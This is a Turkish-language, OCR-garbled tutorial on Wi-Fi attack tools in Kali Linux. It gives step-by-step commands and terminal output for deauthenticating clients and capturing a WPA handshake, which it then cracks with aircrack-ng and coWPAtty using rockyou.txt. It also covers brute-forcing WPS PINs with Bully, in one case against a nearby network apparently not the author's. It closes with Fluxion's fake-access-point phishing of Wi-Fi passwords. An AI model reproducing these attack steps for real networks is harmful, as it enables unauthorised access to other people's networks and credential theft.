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Kablosuz ag saldiri araglari makalesinde Kali Linux isletim sistemi tizerindeki Wi-fi saldiri
araglari kullaniimistir.
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Aircrack-ng

Aircrack-ng, WPA/WPA2 ve WEP sifrelerinin kirlmasinda kullanilan en 6nemli uygulamalardan
biridir. Aircrack-ng paketlerin yakalanmasi, Handshake saglanmasi, sahte kimlik dogrulamasi
ve ag trafigini kontrol etme gibi Ozelliklere sahiptir. Ayrica, Brute Force (Kaba Kuvvet) ve
Dictionary  (Sozlik) Saldinsi gibi saldirilari  da yapabilme 6zelligine sahiptir.

Uygulanmasi:

root@Panda: ~ e ® O

File Edit View Search Terminal Help

:~# iwconfig

IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

no wireless extensions.

IEEE 802.11 ESSID:"Panda"

Mode:Managed Frequency:2.417 GHz Access Point: _
Bit Rate=1 Mb/s Tx-Power=15 dBm

Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=68/70 Signal level=-42 dBm

Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:0

Tx excessive retries:® Invalid misc:20 Missed beacon:0

no wireless extensions.

Resim 1.1: Yazilan iwconfig komutu ile ekrana gelen kablosuz ag kartlari

'iwconfig' komutu ile kablosuz ag kartlari gériintilenir.

Burada wlanO0 ag kartini kullanacagiz. Eger ekraninizda farkh bir isimle gozlkiiyorsa siz onu
kullanacaksiniz.

iwconfig — Kablosuz ag kartlarini gérmemizi saglayan komuttur.
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root@Panda: ~ e ® O

File Edit View Search Terminal Help
:~# airmon-ng start wlan®

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill®

PID Name
514 NetworkManager
708 wpa_supplicant

PHY Interface Driver Chipset

phyo wlanGmon ath9k Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)
phyl wlanl ath9k_htc Atheros Communications, Inc. AR9271 802.11n

Resim 1.2: Kablosuz ag kartimizi monitor moduna aliyoruz

airmon-ng start wlan0 — Segilen ag kartini monitor moda almamizi saglayan komut
Komutu girdikten sonra ekranda ¢alisan islemleri gérebilirsiniz.

airmon-ng check kill — Calisan islemleri bitirmeye yarayan komut

root@Panda: ~ e ® O

File Edit View Search Terminal Help
:~# airmon-ng start wlan®

PHY Interface Driver Chipset

phyo wlan@mon athok Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)

Resim 1.3: Kablosuz ag kartimizi monitor moduna aliyoruz

Calisan islemleri kapattiktan sonra yeniden airmon-ng start wlanO komutunu giriyoruz. Bu
sefer karsimiza wlanOmon olarak géziikmektedir yani ag kartimizi tamamen monitor (izleme)
moduna almig bulunmaktayiz.
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root@Panda: ~ e ® O

File Edit View Search Terminal Help
:~# airodump-ng wlan@mon| |

CH 1[ Elapsed: 30 s ][ 2017-09-08 19:15

BSSID PWR Beacons #Data,

$*
~
)
N
I

MB CIPHER AUTH ESSID

60:45: 3 3 g -55 1e8
BC:75: g 3 g -91 21
24:69: g 3 g -92 8
F4:8E: g 3 g -93 21
EQ:A3: g 3 g -92 10
00:02:61:AC:F2: -93 17
B4:30: 3 3 g -93 11
28 ESE 5 g g -94 -
A4:99: g g g -96 1

54e. CCMP PSK Panda

54e CCMP PSK Korci

54e CCMP PSK toprak

54e CCMP PSK sinemtugce

54e ccmp PSK ozgun

48e. ccMpP PSK Tilgin-YTpZC6h5bHKp
54e ccMpP PSK SUPERONLINE_WiFi_5519
54e CCMP PSK orman

54e CCMP PSK Furkan_Sinem

7
(]
(]
]
1
1
1
(]
(0]

[cNoNoNoNoNoNoNoNo]
NHOOWUNKENKEN

BSSID STATION PWR Lost Frames Probe

60:45:CB:95:54:98 90:B6:86:45:AB:60 -42
EO:A3:AC:F3:CE:7C AC:5A:14:E4:A8:EE -85 ozgun
(not associated) C2:D3:5A:06:19:45 -45

Resim 1.4: Etraftaki kablosuz ag noktalarini goriintiiliiyoruz

airodump-ng wlanOmon — Komutu sayesinde izleme moduna almis oldugumuz ag karti ile
etraftaki kablosuz ag noktalarini goriintiilemeye basliyoruz.

Resim 1.4’de de gorildiglu Uzere, hedef alinan erisim noktasinin BSSID ve CH (Kanal
Numarasini) not aliyoruz. Yeni bir terminal agiyoruz ve hedefledigimiz BSSID ve Kanal
numarasini bu terminalde komut icinde kullanacagiz.
Kullanacagimiz komut satiri;

airodump-ng —bssid 60:45:CB:95:54:98 -c 2 -w /root/Desktop/Berkay/Deneme wlanOmon
--bssid = Hedef aldigimiz erisim noktasinin MAC adresi

-c = Hedef aldigimiz erisim noktasinin bulundugu kanal numarasi
-w =(Write) Erisim noktasi hakkinda toplanan bilgilerin kaydedilecegi yeri belirtir

root@Panda: ~ e ® 0

File Edit View Search Terminal Help
:~# airodump-ng --bssid 60:45:CB:95:54:98 -c 2 -w /root/Desktop/Berkay/Deneme wlan@mon |

CH 2 ][ Elapsed: 1 min ][ 2017-09-08 19:19 ][ fixed channel wlan@mon: 4
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
60:45:CB:95:54:98 -42 100 751 55 [¢] 2 54e. WPA2 CCMP PSK Panda
BSSID STATION PWR Rate Lost Frames Probe

60:45:CB:95:54:98 90:B6:86:45:AB:60 -43 2e-24 0 29

Resim 1.5: Hedef aldigimiz kablosuz ag noktasini goriintiiliiyoruz
Kullandigimiz komut satiri sayesinde, 1.5'nci resimde de gérmis oldugunuz Uzere erisim

noktasini kullanan 1 adet cihaz mevcuttur. Bir sonraki adimimizi erisim noktasini kullanan bu
cihaz lizerinden sahte kimlik dogrulama paketleri gondererek yapacagiz.
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root@Panda: ~ e ® 0

File Edit View Search Terminal Help
:~# airodump-ng --bssid 60:45:CB:95:54:98 -c 2 -w /root/Desktop/Berkay/Deneme wlan@mon| |

CH 2 ][ Elapsed: 1 min ][ 2017-09-08 19:19 ][ fixed channel wlan@mon: 4
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
60:45:CB:95:54:98 -42 100 751 55 [¢] 2 54e. WPA2 CCMP PSK Panda
BSSID STATION PWR Rate Lost Frames Probe

60:45:CB:95:54:98 90:B6:86:45:AB:60 -43 2e-24 0 29

root@Panda: ~ e ® O

File Edit View Search Terminal Help

:~# aireplay-ng --deauth 0 -a 60:45:CB:95:54: -c 90:B6:86:45:AB:60 wlan®Gmon
Waiting for beacon frame (BSSID: 60:45:CB: :98) on channel 2

Sending directed DeAuth. STMAC: [90:B6: :AB:60] [ 4|64 ACKs]

Sending directed DeAuth. STMAC: [90:B6: :AB:60] [43|88 ACKs]

Sending directed DeAuth. STMAC: [90:B6: :AB:60] [27|64 ACKs]

Sending directed DeAuth. STMAC: [90:B6: :AB:60] [ 0|64 ACKs]

Sending directed DeAuth. STMAC: [90:B6: :AB:60] [ 0|64 ACKs]

Sending directed DeAuth. STMAC: [90:B6: :AB:60] [ 0|64 ACKs]

Sending directed DeAuth. STMAC: :B6: :AB: [ 8]64 ACKs]
Sending directed DeAuth. STMAC: :B6: tAB: [ 0|64 ACKs]
Sending directed DeAuth. STMAC: H:H :AB: [39]119 ACKs]
Sending directed DeAuth. STMAC: :B6: :AB: [ 0|64 ACKs]
Sending directed DeAuth. STMAC: H:H :AB: [34]|64 ACKs]
Sending directed DeAuth. STMAC: :B6: :AB: [ 4164 ACKs]
Sending directed DeAuth. STMAC: :B6:86:45:AB: [ 0|64 ACKs]

Resim 1.6: Hedef aldigimiz erigim noktasini kullanmakta olan cihazi kullanarak
sahte kimlik dogrulama paketleri gonderiyoruz

Hedefledigimiz erisim noktasi ile baglanti kurmamiz igin bu cihazlar Uzerinden, erisim
noktasina sahte kimlik dogrulama paketleri génderiyoruz ve Handshake yani kabul edilme
bekliyoruz.

Bu islem igin kullanacagimiz komut satiri;

aireplay-ng —deauth 5 -a 60:45:CB:95:54:98 -c 90:B6:86:45:AB:60 wlanOmon
--deauth = 5 Yazmamizin nedeni 5 adet sahte kimlik dogrulama paketi gdndermesini
istedigimizden dolayidir. Sifir yazarsaniz eger sinirsiz sekilde génderir.

-a = Hedef aldigimiz erisim noktasinin MAC adresini yazmalisiniz

-c = Sahte kimlik dogrulama paketlerini géndereceginiz cihazin MAC adresini yazmalisiniz

root@Panda: o

File Edit View Search Terminal Help

CH 2 ][ Elapsed: 4 mins ][ 2017-09-08 19:22 ][ WPA handshake: 60:45:CB:95:54:98

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
60:45:CB:95:54:98 0 100 2364 107 0 2 54e. WPA2 CCMP PSK Panda
BSSID STATION PWR Rate Lost Frames Probe

60:45:CB:95:54:98 90:B6:86:45:AB:60 [¢] 2e- 1 64 29011

Resim 1.7: WPA Handshake gelmis durumda
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Resimde gormus oldugunuz lzere; Hedef aldigimiz erisim noktasini kullanan cihaz tGzerinden,
hedefledigimiz erisim noktasina Handshake saglamis durumdayiz. Handshake’i yakaladigimiz
icin diger terminalde agik olan airodump komutu ile yapmis oldugumuz izlemeyi kapatabiliriz
artik. Simdi bir sonraki adimimiza gegebiliriz.

Bir sonraki adimimiz igin Wordlist yani Sifre Dizisi kullanacagiz bunun igin bilgisayarinizda
bulunan “rockyou.txt” veya kendinizin bulmus oldugu farkl bir Wordlist kullanabilirsiniz. Biz
Kali Linux isletim sisteminin iginde olan “rockyou.txt” isimli Wordlist’i kullanacagiz. Bu
Wordlist’i kullanmak igin dncelikle sikistirilmis dosya dizininden gikarmamiz gerekiyor.

Terminalden oncelikle;
cd /usr/share/wordlists/ ‘e giriyoruz

Is Komutunu yazdiktan sonra rockyou.txt.gz isimli bir dosya oldugunu goériiyorsak eger
gzip -d rockyou.txt.gz komutunu uygulayarak sikistirilmis dosya igerisinden g¢ikariyoruz
Bir sonraki adima gegiyoruz;

Aircrack-ng araci sayesinde Wordlist kullanarak kullanarak baslyoruz.

Aircrack-ng -w /usr/shared/wordlists/rockyou.txt -b 60:45:CB:95:54:98
/root/Desktop/Berkay/Deneme-01.cap

root@Panda: ~ e o °‘

File Edit View Search Terminal Help

:~# aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 60:45:CB:95:54:98 /root/Desktop/Berkay/Dd
eneme-01.cap

Aircrack-ng 1.2 rc4
[00:00:00] 4/7120714 keys tested (714.41 k/s)
Time left: 2 hours, 46 minutes, 12 seconds

KEY FOUND! [ 123456789 ]

Master Key : 56 F7 23 71 76 51 CO 51 54
A2 02 3F F6 0B 18 48 F1 9C 58

Transient Key : 10
F8
A7
6C

EAPOL HMAC : DB

Resim 1.8: Aircrack-ng ile bulunan sifremiz

Aircrack-ng Uygulamasi Wordlistte bulunan biitlin sifreleri deneyerek hedef aldigimiz erisim
noktasinin sifresini kirmaktadir.

Erisim noktasinda kullandigimiz sifremiz 123456789 idi.
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Bully

Bully, C programlama dilinde yazilmis bir WPS Brute Force (Kaba Kuvvet) Atagi uygulamasidir.
WPS’de ki tasarim hatasini kullanmak yonuyle diger programlar ile ayni islevi yapmaktadir.
Orijinal kodlara gére birgok avantaji vardir; daha az bagimlilik, daha iyi hafiza (memory) ve
islemci (cpu) kullanimi, endian’larin dogru sekilde kullanimi ve daha gigli sekilde ayarlanmis
secenekler bunlardan bazilandir. Linux tabanh isletim sistemlerinde ¢alismak igin
gelistirilmistir.

Uygulamasi:

r ~

root@Panda: ~ @ ® 0

File Edit View Search Terminal Help

:~# iwconfig
IEEE 802.11 ESSID:"Panda"

Mode:Managed Frequency:2.412 GHz Access Point:_
Bit Rate=1 Mb/s Tx-Power=15 dBm

Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off
Link Quality=70/70 Signal level=-40 dBm

Rx invalid nwid:0 Rx invalid crypt:® Rx invalid frag:0
Tx excessive retries:® Invalid misc:2 Missed beacon:0

no wireless extensions.

no wireless extensions.

Resim 2.1: Yazilan iwconfig komutu ile ekrana gelen kablosuz ag kartlar

iwconfig — Kablosuz ag kartlarini gormemize yarayan komut satiridir

ilk basta yazdigimiz komut ile hangi kablosuz ag kartlarini kullanabiliriz, onu buluyoruz. Biz
burada wlan0 ag kartini kullanacagiz.
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Eger sizin ekraninizda bagka bir sekilde goziklyorsa siz onu kullanacaksiniz.

root@Panda: ~ e ® 0

File Edit View Search Terminal Help
:~# airmon-ng start wlan®

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill®'

PID Name
518 NetworkManager
717 wpa_supplicant
781 dhclient
PHY Interface Driver Chipset
phyo wlan@ ath9k Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)

(mac80211 monitor mode vif enabled for [phy@]wlan® on [phy®]wlanGmon)
(mac80211 station mode vif disabled for [phy®@lwlan®)

:~# airmon-ng check kill
Killing these processes:

PID Name
717 wpa_supplicant

Resim 2.2: Kablosuz ag kartimizi monitor moduna aliyoruz

airmon-ng start wlan0 — Monitor(izleme) Moduna almamiza yarayan komut

root@Panda: ~ e ® O

File Edit View Search Terminal Help
:~# airmon-ng start wlan®

PHY Interface Driver Chipset

phyo wlan@mon athok Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)

Resim 2.3: Kablosuz ag kartimizi monitor modunda baslatiyoruz

Komutu girdikten sonra karsimiza hala galisan islemler gozikiyor. Bu ¢alisan islemleri
bitirmek icin kill komutunu kullaniyoruz.

airmon-ng check kill — Calisan islemleri bitirmeye yarayan komut
Calisan islemleri bitirdikten sonra tekrardan airmon-ng start wlanO komutunu giriyoruz. Bu

sefer karsimiza wlanOmon olarak gézilkmektedir yani ag kartimizi tamamen monitor(izleme)
moduna almig bulunmaktayiz.
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root@Panda: ~ e ® O

File Edit View Search Terminal Help
:~# airodump-ng wlanOmon |

Elapsed: 12 s ][ 2017-09-07 16:37

PWR Beacons #Data, #/s MB ENC CIPHER AUTH ESSID
-1 -1 <length: 0>

-47 54e. WPA2 CCMP PSK Panda
-92 54e WPA2 CCMP PSK SUPERONLINE WiFi_ 6583
-93 48e. WPA2 CCMP PSK Tilgin-YTpZC6h5bHKp
-94 54e WPA2 CCMP PSK SUPERONLINE_WiFi_ 5519
STATION Rate Lost Frames Probe

10:08:C1:8A:4C:FF 94 12

Resim 2.4: Etraftaki kablosuz ag noktalarini goriintiiliiyoruz

airodump-ng wlanOmon — Komutu sayesinde izleme moduna almis oldugumuz ag karti ile
etraftaki kablosuz ag noktalarini goriintiilemeye basliyoruz

root@Panda: ~ e ®0
File Edit View Search Terminal Help
:~# wash -1 wlanOmon
Wash v1.5.3 WiFi Protected Setup Scan Tool

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
mod by t6 x<t6 x@hotmail.com>, DataHead, Soxrok2212, Wiire, AAnarchYY & roflor

dBm WPS Lck ESSID

58:2A:F7:C8:99:EB c SUPERONLINE WiFi 6583
B4:30:52:78:54:CE c SUPERONLINE WiFi 5519
00:02:61:AC:F2:A8 c Tilgin-YTpZC6h5bHKp
F4:8E:92:C9:54:80 c sinemtugce

Resim 2.5: wash -i Komutu ile WPS Kilitlerinin Durumunu Gériintiliiyoruz

wash -i wlanOmon — wash komutu sayesinde gorintilemis oldugumuz kablosuz erisim
aglarinin WPS Kilidinin olup olmadigini goriyoruz. “Lck” Sekmesinde gérmis oldugunuz
uzere “Yes” veya “No” seklinde gostermektedir.
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root@Panda: ~ e ® O

File Edit View Search Terminal Help

:~# bully -b 58:2A:F7:C8:99:EB -c 6 wlan®@mon
Bully v1.1 - WPS vulnerability assessment utility
Modified for pixiewps by AAnarchYY(aanarchyy@gmail.com)
Switching interface 'wlan@mon' to channel '6'
Using '74:e5:43:¢c9:d9:46' for the source MAC address
Datalink type set to '127', radiotap headers present
Scanning for beacon from '58:2a:f7:c8:99:eb' on channel '6'
Got beacon for 'SUPERONLINE WiFi_ 6583' (58:2a:f7:c8:99:eb)
Loading randomized pins from '/root/.bully/pins’
Index of starting pin number is '0000000’
Last State "NoAssoc' Next pin '01060256°'
Rx( M5 ) 'PinlBad’ Next pin '55630252°'
Sent packet not acknowledged after 3 attempts
Tx(DeAuth) = 'Timeout’ Next pin '55630252'
Sent packet not acknowledged after 3 attempts
Tx( Auth ) = 'Timeout’ Next pin '55630252'
Sent packet not acknowledged after 3 attempts
Tx(DeAuth) = 'Timeout' Next pin '55630252°'
Sent packet not acknowledged after 3 attempts
Tx( Assn ) = 'Timeout’ Next pin '55630252'
Sent packet not acknowledged after 3 attempts
Tx(DeAuth) = 'Timeout' Next pin '55630252°'

Resim 2.6: Yazilan komut ile WPS Sifresini Aramaya Basliyor

Kullandigimiz Komut Satiri;
bully -b = XX:XX:XX:XX:XX:XX -- -c X wlanOmon

-b = Hedef aldigimiz erigsim noktasinin BSSID’si gelmelidir
-c = Hedef aldigimiz erisim noktasinin bulundugu kanal numarasi
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coWPALtty

ihtiya¢ olan RADIUS’u kurmaktan daha kolay oldugundan dolayi ve WPA-Kurumsal kimlik
dogrulama sertifikasi kullanimi gerektiginden dolayi, bir¢ok kurumsal ag WPA/WPAZ2 igin PSK
tabanli dogrulama mekanizmasi kullanmaktadir. Hedef olan bir BSSID icin, 6nceden
hazirlanmis bir PMK dosyasi var ise coWPAtty hizlandiriimig bir saldiri atagi uygulayabilir.

Uygulanmasi:

Bir 6nceki aracimiz uygulanmasindaki gibi dncelikle kablosuz ag kartimizi Monitor (izleme)
Moduna almamiz gerekiyor.

Sonrasinda;

airodump-ng wlanlmon — Komutu sayesinde izleme moduna almis oldugumuz ag karti ile
etraftaki kablosuz ag noktalarini goriintiilemeye basliyoruz.

r hl

root@Panda: ~ e ® O

File Edit View Search Terminal Help
:~# airodump-ng wlanlmon| |

Elapsed: 24 s ][ 2017-09-08 12:50

PWR Beacons #Data, #/s

(=]
=

MB CIPHER AUTH ESSID

54e. CCMP  PSK Panda

54e CcCMP PSK ozgun

54e CcCMP PSK SUPERONLINE Wi
54e CcCMP PSK Korci

54e ccMp PSK BaranBerkay
54e CcCMP PSK GOKYUZU

54e CcCMP PSK SUPERONLINE Wi
48e. CcCcmMpP PSK Tilgin-YTpZC6h
54e CCMP  PSK GurcanMarket
54e CCMP  PSK sinemtugce

-40 7
-89
-86
-86
-89
-90
-90
-90
-92
-92

NNOOWOOWRAEWDM
[cloNoNoNoNoNoNoNo Nl
[cloNoNoNoNoNoNo NN
[
HEHEOONKMKMEWOWME

[

STATION PWR Rate Lost Frames Probe

:95:54:98 34:14:5F:44:07:9F -74 Oe-24 12

Resim 3.1: Cevremizdeki kablosuz ag noktalarini gériintiiliiyoruz

Gormis oldugumuz erisim noktalarindan hangisini hedefliyorsak onun BSSID’sini ve Kanal
Numarasini bir sonraki asgamamiz igin not ediyoruz.

Yeni bir terminal agarak bu not ettigimiz BSSID ve Kanal numarasini kullanmaya basliyoruz.

Kullanacagimiz komut satiri;

airodump-ng —bssid XX:XX:XX:XX:XX:XX -c 1 -w /root/Desktop/Berkay/Deneme wlanimon
--bssid = Hedef aldigimiz erisim noktasinin MAC adresi

-c = Hedef aldigimiz erisim noktasinin bulundugu kanal numarasi

-w =(Write) Erisim noktasi hakkinda edineceginiz bilgileri hangi klasore yazmanizi saglar.
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root@Panda: ~ =

File Edit View Search Terminal Help

:~# airodump-ng --bssid 60:45:CB:95:54:98 -c 1 -w /root/Desktop/Berkay/Deneme wlanlmon
CH 1 ][ Elapsed: 2 mins ][ 2017-09-08 11:21 ][ fixed channel wlanlmon: 4

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
60:45:CB:95:54:98 -37 25 325 18 0 1 54e. WPA2 CCMP PSK Panda
BSSID STATION PWR Rate Lost Frames Probe

60:45:CB:95:54:98 90:B6:86:45:AB:60 -34 0 -24 4 5
60:45:CB:95:54:98 34:14:5F:44:07:9F -80 0 -24 0 1

Resim 3.2: Hedef aldigimiz erisim noktasi takip ediyoruz

Kullandigimiz komut satiri sayesinde, 3.2’nci resimde de gérmis oldugunuz Uzere erisim
noktasini kullanan 2 adet cihaz mevcuttur. Bir sonraki adimimizi erisim noktasini kullanan bu
cihazlar tzerinden sahte kimlik dogrulama paketleri géndererek yapacagiz.

root@Panda:
File Edit View Search Terminal Help
Elapsed: 2 mins ][ 2017-09-08 11:22 ][ fixed channel wlanlmon: 11
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
:CB:95:54:98 -40 17 348 18 0 1 54e. WPA2 CCMP PSK Panda
STATION PWR Rate Lost Frames Probe

:CB:95:54:98 90:B6:86:45:AB:60 -34 -24 5
:CB:95:54:98 34:14:5F:44:07:9F -80 0 -24 1

root@Panda: ~ e ® O

File Edit View Search Terminal Help

Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:
Sending directed DeAuth. STMAC:

Resim 3.3: Erisim noktasini kullanmakta olan bir cihazi kullanarak sahte kimlik
dogrulama paketleri génderiyoruz

Hedefledigimiz erisim noktasi ile baglanti kurmamiz igin bu cihazlar Uzerinden, erisim
noktasina sahte kimlik dogrulama paketleri gonderiyoruz ve Handshake yani Kabul edilme
bekliyoruz.
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Bu islem igin kullanacagimiz komut satiri;

aireplay-ng —deauth 5 -a XX:XX:XX:XX:XX:XX -¢ XX:XX:XX:XX:XX:XX wlanlmon
--deauth = 5 Yazmamizin nedeni 5 adet sahte kimlik dogrulama paketi gdndermesini
istedigimizden dolayidir. Sifir yazarsaniz eger sinirsiz sekilde génderir.

-a = Hedeflenin erisim noktasinin MAC adresini yazmalisiniz
-c = Sahte kimlik dogrulama paketlerini géndereceginiz cihazin MAC adresini yazmalisiniz

root@Panda: ~ = 8]

File Edit View Search Terminal Help

CH 1 ][ Elapsed: 4 mins ][ 2017-09-08 11:49 ] | WPA handshake: 60:45:CB:95:54:98

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
60:45:CB:95:54:98 -42 100 1293 180 0 1 54e. WPA2 CCMP PSK Panda
BSSID STATION PWR  Rate Lost Frames Probe

60:45:CB:95:54:98 90:B6:86:45:AB:60 -31 2e-24 18 14346
60:45:CB:95:54:98 34:14:5F:44:07:9F -70 Oe-24 0 34

Resim 3.4: WPA Handshake gelmis durumda

Resimde gérmus oldugunuz Uzere; Hedefledigimiz erisim noktasini kullanan cihaz tGzerinden,
hedefledigimiz erisim noktasina Handshake saglamis durumdayiz. Handshake’i yakaladigimiz
icin diger terminalde agik olan airodump komutu ile yapmis oldugumuz izlemeyi kapatabiliriz
artik. Simdi bir sonraki adimimiza gegebiliriz. Bir sonraki adimimiz igin Wordlist yani Sifre Dizisi
kullanacagiz bunun igin bilgisayarinizda bulunan “rockyou.txt” veya kendinizin bulmus oldugu
farkh bir Wordlist kullanabilirsiniz.

Biz Kali Linux isletim sisteminin iginde olan “rockyou.txt” isimli Wordlist’i kullanacagiz. Bu
Wordlist’i kullanmak igin oncelikle sikistirilmis dosya dizininden ¢ikarmamiz gerekiyor.

Terminalden oncelikle;
cd /usr/share/wordlists/ ‘e giriyoruz

Is Komutunu yazdiktan sonra rockyou.txt.gz isimli bir dosya oldugunu gortyorsak eger
gzip -d rockyou.txt.gz diyerek sikistirilmis dosya igerisinden gikariyoruz
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Bir sonraki adima geciyoruz.

root@Panda: ~ @ ® O
File Edit View Search Terminal Help

. 271000: mytwinsl2
. 272000: morganpaige
. 273000: mishyl23

. 274000: metoyou!

. 275000: maverick20
. 276000: marianne2l
. 277000: maikhanh

. 278000: luciferl23
. 279000: loservill
. 280000: lilsexyred
. 281000: leannexx

. 282000: 13004767

. 283000: kimmybob

. 284000: katie2011

. 285000: junell@7

. 286000: johnlang

. 287000: jennalouise
. 288000: jaimes07

. 289000: inanimate

. 290000: ilovemikeO7
. 291000: iamfree!

. 292000: homework3

. 293000: hawaii73

. 294000: groesbeck

Resim 3.5: Wordlist Kullanimi

coWPALtty araci yardimi ile Wordlist kullanarak basliyoruz.
Kullanacagimiz komut satiri;

cowpatty -f /usr/share/wordlists/rockyou.txt -r /root/Desktop/Berkay/Deneme-02.cap -s
Berkay

Yazdigimiz komut ile birlikte coWPAtty Wordlist’de bulunan tim sifreleri deneyerek

hedefledigimiz erisim noktasinin WPA sifresini bulmaya c¢alismaktadir. Bazen ¢ok kisa bir
surede bulabilmekte, bazen ise sifreyi bulmasi uzun zaman almaktadir.
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Fluxion & Linset

Fluxion aracl, orjinali ispanyolca dilinde yazilmis olan Sosyal Miihendislik araci olan Linset
uygulamasini ispanyolca dilinde kullanamayan kullanicilar icin gelistirildi. Fluxion uygulamasi,
tecrlibesiz kablosuz ag kullanicilari, agin sifresini saldirgana vermeye yonlendirmeye yonelik
yazilmis bir saldiri aracidir.

Bu aracin o6zellikleri;

e Ag taramasl yapmaktadir

e Handshake yakalamak (Sifrenin bulunmasi igin kesin olarak gereklidir)

e WEB Arayuizl kullanabilmektedir

e Orijinal AP(Access Point)'nin aynisini Sahte AP olarak olusturmak

o Mdk3 islemlerini kullanarak, kullanicilara sahte kimlik dogrulama paketleri
gondererek, kullanicilari Sahte AP’e cekmek

e Sahte DNS serveri kullanarak, kullanicilarin tim DNS isteklerini yakalar ve onlari
host’ta ¢alisan bir script’e yonlendirir

e Kullanicilara WPA sifresini girmeleri igin sahte bir hizmet sayfasi olusturur

e Her girilen sifreyi, Handshake ile dogrular

e Dogru sifre girildigi anda, tim ¢alismalari otomatik olarak bitirir

Uygulamasi;
Uygulamayi yiklemek igin dncelikle asagidaki adresi kullanacagiz;

https://github.com/wi-fi-analyzer/fluxion.git

root@Panda: ~/Desktop/fluxion e ® O
File Edit View Search Terminal Help

:~/Desktop/fluxion# git clone https://github.com/wi—fi—analyzer/fluxion.gidD

Resim 4.1: Fluxion’1 indirme komutu
git clone https://github.com/wi-fi-analyzer/fluxion.git

Komutu ile Fluxion uygulamamizi indiriyoruz.
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root@Panda: ~/Desktop e O O

File Edit View Search Terminal Help
:~/Desktop# 1s

Berkay fluxion linsetmvl-2-master
:~/Desktop# cd fluxion/]

Resim 4.2: Fluxion

“ cd fluxion “ Komutu ile fluxion dosyasinin icine giriyoruz.

root@Panda: ~/Desktop/fluxion e ® O

File Edit View Search Terminal Help

:~/Desktop# ls
Berkay fluxion Ulinsetmvl-2-master Staj
:~/Desktop# cd fluxion/
:~/Desktop/fluxion# 1s
docs fluxion.sh ipstall lanauage 1ib locale logos README.md siteinstaller.py sites
:~/Desktop/fluxion# ./fluxion.sh

Resim 4.3: Fluxion’i baslatiyoruz
“ [fluxion.sh “ Komutu ile Fluxion uygulamamizi baslatiyoruz

root@Panda: ~/Desktop/fluxion e ® O
File Edit View Search Terminal Help

luxion Is The Future >

2] Select your language

English
German
Romanian
Turkish
Spanish
Chinese
Italian
Czech

9] Greek

10] French
11] Slovenian

1
2
3
4
5
6
7
8

deltaxflux@fluxion]- [~ D

Resim 4.4: Dil Segenekleri

Fluxion uygulamasinin bize sunmus oldugu dil segeneklerini gormekteyiz. Hangi dili se¢mek
istiyorsaniz basindaki rakami yazarak enter’a basmaniz, segmis oldugunuz dili segerek bir
sonraki adima ilerlemenizi saglar.
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root@Panda: ~/Desktop/fluxion e ® O
File Edit View Search Terminal Help

luxion Is The Future >

Bir Ag Secin

1] wlano Atheros AR9485 athdk
2] wlanl Atheros AR9271 ath9k

deltaxflux@fluxion]-[~12 []

Resim 4.5: Hangi Kablosuz Ag Arayizleri

Hangi Kablosuz Ag1 segecegimizi gorintiliyoruz buradan. Ben wlanl’de bulunan harici
kablosuz ag kartimi segiyorum. Sizler elinizde harici kart varsa onu kullanabilir yada dahili ag
kartinizi kullanabilirsiniz.

root@Panda: ~/Desktop/fluxion e ® O
File Edit View Search Terminal Help

2] Kanal Sec

1] Tum Kanallar
2] Sectigim Kanal ya da Kanallar
<

deltaxflux@fluxion]- [~ D

Resim 4.6: Erisim Noktalarinin Segimi

Kanal Seg¢ kismindan hangi erisim noktalarini segeceginizi gosterir size. Eger etrafinizdaki tim
kanallari taramak istiyorsaniz 1. Segenegi veya dnceden belirlediginiz kanal veya kanallar var
ise 2. Secenegi secgeceksiniz. Benim o6nceden belirledigim bir kanal olmadigindan dolayi
etrafimdaki tum  kanallari  aratmasini  istiyorum ve 1. Segenegi segiyorum.

Bu se¢imimin ardindan Resim 4.7'de olan ekran karsima cikiyor ve Fluxion benim adima
etrafimdaki tim kanallari listelemis durumda.
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CH 13 ][ Elapsed: 12 s ][ 2017-09-12 13:54

BSSID

DO:7A:B5:93:BACS
30:74:96:0B:30:C6
28:3C:E4:D6:43:98
CO:25:E9:94:80:5E
EC:08:6B:99:51:E7
CC:A2:23:A9:BAL42
14:B9:68:33:7D:84
AOsF3:C1:DBsAL:FS
DC:EE:06:5C:01:36
F8:3D:FF:5F:3F 127
4C:9E+FF:C3:92:86
28:3C:E4:D6:BAL3C
10+FE:ED:EF:DF ;B4
D4:6E:0E:DB:1C:CT
E8:37:7As1E: 04501
18:A6:F7:4F116:E2
24:00:BAsB7 :CELEF
80:13:82:A1:9B:63
9C:C1:72:DA:B4:49
E8:37:7A:3D:EC:D3
AO:E4:CB:B9:EF :DF
18:28:61:95:66:D2
44:C3:46:13:F2:08
90:EF:68:83:20:4B
F8:23:B2:22:ADED
14:B9:68:F0:20:4A

BSSID

